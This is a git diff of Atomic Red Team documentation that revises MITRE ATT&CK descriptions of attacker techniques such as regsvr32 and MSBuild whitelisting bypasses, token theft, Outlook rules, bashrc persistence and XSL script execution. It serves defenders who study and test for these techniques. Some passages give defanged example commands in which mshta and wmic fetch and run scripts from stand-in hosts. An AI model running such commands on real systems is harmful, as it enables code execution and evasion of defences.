diff --git a/atomics/T1114/T1114.md b/atomics/T1114/T1114.md index 68a9f4ad9d..a1d39357cd 100644 --- a/atomics/T1114/T1114.md +++ b/atomics/T1114/T1114.md @@ -4,9 +4,13 @@ Files containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost. -Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. +Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services or Office 365 to access email using credentials or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413) can be used to automate searches for specific key words.(Citation: Black Hills MailSniper, 2017) -Some adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.
+### Email Forwarding Rule + +Adversaries may also abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim’s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: TIMMCMIC, 2014) + +Any user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more. ## Atomic Tests diff --git a/atomics/T1117/T1117.md b/atomics/T1117/T1117.md index 6444733a07..0fc9523389 100644 --- a/atomics/T1117/T1117.md +++ b/atomics/T1117/T1117.md @@ -4,7 +4,7 @@ Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary. -Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) +Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016) diff --git a/atomics/T1118/T1118.md b/atomics/T1118/T1118.md index 2c8a2c73f3..0ea5654f91 100644 --- a/atomics/T1118/T1118.md +++ b/atomics/T1118/T1118.md @@ -2,7 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1118)
InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. -Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)
+Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil) ## Atomic Tests diff --git a/atomics/T1121/T1121.md b/atomics/T1121/T1121.md index 4e9a27621c..5c65b435d3 100644 --- a/atomics/T1121/T1121.md +++ b/atomics/T1121/T1121.md @@ -2,7 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1121)
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) -Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)
+Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) ## Atomic Tests diff --git a/atomics/T1127/T1127.md b/atomics/T1127/T1127.md index 671eeededa..5887defcbc 100644 --- a/atomics/T1127/T1127.md +++ b/atomics/T1127/T1127.md @@ -6,7 +6,7 @@ MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) -Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) +Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild) ### DNX @@ -32,7 +32,7 @@ It is likely possible to use other debuggers for similar purposes, such as the k The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking) -An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe) +An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: LOLBAS Tracker) ## Atomic Tests diff --git a/atomics/T1134/T1134.md b/atomics/T1134/T1134.md index 2cc2516af2..2fb58227fb 100644 --- a/atomics/T1134/T1134.md +++ b/atomics/T1134/T1134.md @@ -1,10 +1,10 @@ # T1134 - Access Token Manipulation ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1134) -
Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. (Citation: Microsoft runas) +
Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas.(Citation: Microsoft runas) -Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation) +Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation) -Access tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation) +Access tokens can be leveraged by adversaries through three methods:(Citation: BlackHat Atkinson Winchester Token Manipulation) **Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system. @@ -14,7 +14,7 @@ Access tokens can be leveraged by adversaries through three methods: (Citation: Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. -Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)
+Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.(Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)
## Atomic Tests diff --git a/atomics/T1135/T1135.md b/atomics/T1135/T1135.md index fac2019fdf..f5df89c4d1 100644 --- a/atomics/T1135/T1135.md +++ b/atomics/T1135/T1135.md @@ -12,7 +12,11 @@ Adversaries may look for folders and drives shared on remote systems as a means ### Mac -On Mac, locally mounted shares can be viewed with the df -aH command. +On Mac, locally mounted shares can be viewed with the df -aH command. + +### Cloud + +Cloud virtual networks may contain remote network shares or file storage services accessible to an adversary after they have obtained access to a system. For example, AWS, GCP, and Azure support creation of Network File System (NFS) shares and Server Message Block (SMB) shares that may be mapped on endpoint or cloud-based systems.(Citation: Amazon Creating an NFS File Share)(Citation: Google File servers on Compute Engine) ## Atomic Tests diff --git a/atomics/T1136/T1136.md b/atomics/T1136/T1136.md index 23626f51b7..003ce30bd6 100644 --- a/atomics/T1136/T1136.md +++ b/atomics/T1136/T1136.md @@ -1,8 +1,16 @@ # T1136 - Create Account ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1136) -
Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. +
Adversaries with a sufficient level of access may create a local system, domain, or cloud tenant account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system. -The net user commands can be used to create a local or domain account.
+In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. + +### Windows + +The net user commands can be used to create a local or domain account. + +### Office 365 + +An adversary with access to a Global Admin account can create another account and assign it the Global Admin role for persistent access to the Office 365 tenant.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)
## Atomic Tests diff --git a/atomics/T1137/T1137.md b/atomics/T1137/T1137.md index bf13bfbcdd..c53bb58716 100644 --- a/atomics/T1137/T1137.md +++ b/atomics/T1137/T1137.md @@ -6,11 +6,13 @@ Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template) -Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros) +Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019) -Word Normal.dotm location:C:\Users\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm +Word Normal.dotm location:C:\Users\\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm -Excel Personal.xlsb location:C:\Users\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB +Excel Personal.xlsb location:C:\Users\\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB + +Adversaries may also change the location of the base template to point to their own by hijacking the application's search order, e.g. Word 2016 will first look for Normal.dotm under C:\Program Files (x86)\Microsoft Office\root\Office16\, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019) An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros. @@ -28,7 +30,7 @@ Add-ins can also be used to obtain persistence because they can be set to execut ### Outlook Rules, Forms, and Home Page -A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) +A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules) Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.(Citation: SilentBreak Outlook Rules) diff --git a/atomics/T1153/T1153.md b/atomics/T1153/T1153.md index 6545f5bf64..3abcbfdc65 100644 --- a/atomics/T1153/T1153.md +++ b/atomics/T1153/T1153.md @@ -1,6 +1,6 @@ # T1153 - Source ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1153) -
The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment. +
The source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or . /path/to/filename [arguments]. Take note of the space after the ".". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual) Adversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.
diff --git a/atomics/T1154/T1154.md b/atomics/T1154/T1154.md index bd69c25840..22078cf640 100644 --- a/atomics/T1154/T1154.md +++ b/atomics/T1154/T1154.md @@ -1,6 +1,6 @@ # T1154 - Trap ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1154) -
The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.
+
The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
## Atomic Tests diff --git a/atomics/T1156/T1156.md b/atomics/T1156/T1156.md index 65af885e2c..09db22fc32 100644 --- a/atomics/T1156/T1156.md +++ b/atomics/T1156/T1156.md @@ -1,10 +1,10 @@ # T1156 - .bash_profile and .bashrc ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1156) -
~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. +
~/.bash_profile and ~/.bashrc are shell scripts that contain shell commands. These files are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), the ~/.bash_profile script is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, the ~/.bashrc script is executed. This allows users more fine-grained control over when they want certain commands executed. These shell scripts are meant to be written to by the local user to configure their own environment. -Mac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc. +The macOS Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc. -These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware).
+Adversaries may abuse these shell scripts by inserting arbitrary shell commands that may be used to execute other binaries to gain persistence. Every time the user logs in or opens a new shell, the modified ~/.bash_profile and/or ~/.bashrc scripts will be executed.(Citation: amnesia malware).
## Atomic Tests diff --git a/atomics/T1170/T1170.md b/atomics/T1170/T1170.md index 00c94def32..a693c919f6 100644 --- a/atomics/T1170/T1170.md +++ b/atomics/T1170/T1170.md @@ -8,7 +8,7 @@ Files may be executed by mshta.exe through an inline script: mshta vbscrip They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta -Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: GitHub SubTee The List)
+Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta) ## Atomic Tests diff --git a/atomics/T1180/T1180.md b/atomics/T1180/T1180.md index 02e837127f..c7b1568da4 100644 --- a/atomics/T1180/T1180.md +++ b/atomics/T1180/T1180.md @@ -7,7 +7,7 @@ The following screensaver settings are stored in the Registry (HKCU\Contro * SCRNSAVE.exe - set to malicious PE path * ScreenSaveActive - set to '1' to enable the screensaver * ScreenSaverIsSecure - set to '0' to not require a password to unlock -* ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed +* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017) diff --git a/atomics/T1220/T1220.md b/atomics/T1220/T1220.md index a5ce016166..203f751666 100644 --- a/atomics/T1220/T1220.md +++ b/atomics/T1220/T1220.md @@ -2,15 +2,17 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1220)
Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017) -Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) +Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Similar to [Trusted Developer Utilities](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019) -Command-line example: (Citation: Penetration Testing Lab MSXSL July 2017) +Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019) * msxsl.exe customers[.]xml script[.]xsl +* msxsl.exe script[.]xsl script[.]xsl +* msxsl.exe script[.]jpeg script[.]jpeg -Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file. (Citation: subTee WMIC XSL APR 2018) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. +Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1117)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019) -Command-line examples: (Citation: subTee WMIC XSL APR 2018) +Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic) * Local File: wmic process list /FORMAT:evil[.]xsl * Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”
diff --git a/atomics/T1222/T1222.md b/atomics/T1222/T1222.md index 1e12bf7f1a..96f8c4dc21 100644 --- a/atomics/T1222/T1222.md +++ b/atomics/T1222/T1222.md @@ -1,8 +1,8 @@ -# T1222 - File Permissions Modification +# T1222 - File and Directory Permissions Modification ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1222) -
File permissions are commonly managed by discretionary access control lists (DACLs) specified by the file owner. File DACL implementation may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions) +
File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions) -Adversaries may modify file permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file and/or elevated permissions such as Administrator/root depending on the file's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files. Specific file modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.
+Adversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.
## Atomic Tests diff --git a/atomics/T1485/T1485.md b/atomics/T1485/T1485.md index 06992ae39c..d57cabe4d7 100644 --- a/atomics/T1485/T1485.md +++ b/atomics/T1485/T1485.md @@ -1,6 +1,6 @@ # T1485 - Data Destruction ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1485) -
Adversaries may destroy data data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. +
Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure. Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) diff --git a/atomics/T1496/T1496.md b/atomics/T1496/T1496.md index a53bf08fe5..2f9773014c 100644 --- a/atomics/T1496/T1496.md +++ b/atomics/T1496/T1496.md @@ -2,7 +2,7 @@ ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1496)
Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. -One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.
+One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based(Citation: CloudSploit - Unused AWS Regions) systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.
## Atomic Tests diff --git a/atomics/index.md b/atomics/index.md index 294e9d4c1d..3df6cb212f 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -42,6 +42,7 @@ - [T1038 DLL Search Order Hijacking](./T1038/T1038.md) - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] - T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1519 Emond [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1044 File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) @@ -64,6 +65,7 @@ - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO Global Flags [windows] +- T1525 Implant Container Image [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1215 Kernel Modules and Extensions](./T1215/T1215.md) - Atomic Test #1: Linux - Load Kernel Module via insmod [centos, ubuntu, linux] - T1161 LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) @@ -96,6 +98,7 @@ - Atomic Test #1: Plist Modification [macos] - T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1504 PowerShell Profile [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1163 Rc.common](./T1163/T1163.md) - Atomic Test #1: rc.common [macos] - [T1164 Re-opened Applications](./T1164/T1164.md) @@ -116,6 +119,7 @@ - Atomic Test #1: Set Arbitrary Binary as Screensaver [windows] - [T1101 Security Support Provider](./T1101/T1101.md) - Atomic Test #1: Modify SSP configuration in registry [windows] +- T1505 Server Software Component [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1058 Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1166 Setuid and Setgid](./T1166/T1166.md) - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] @@ -144,6 +148,7 @@ # defense-evasion - [T1134 Access Token 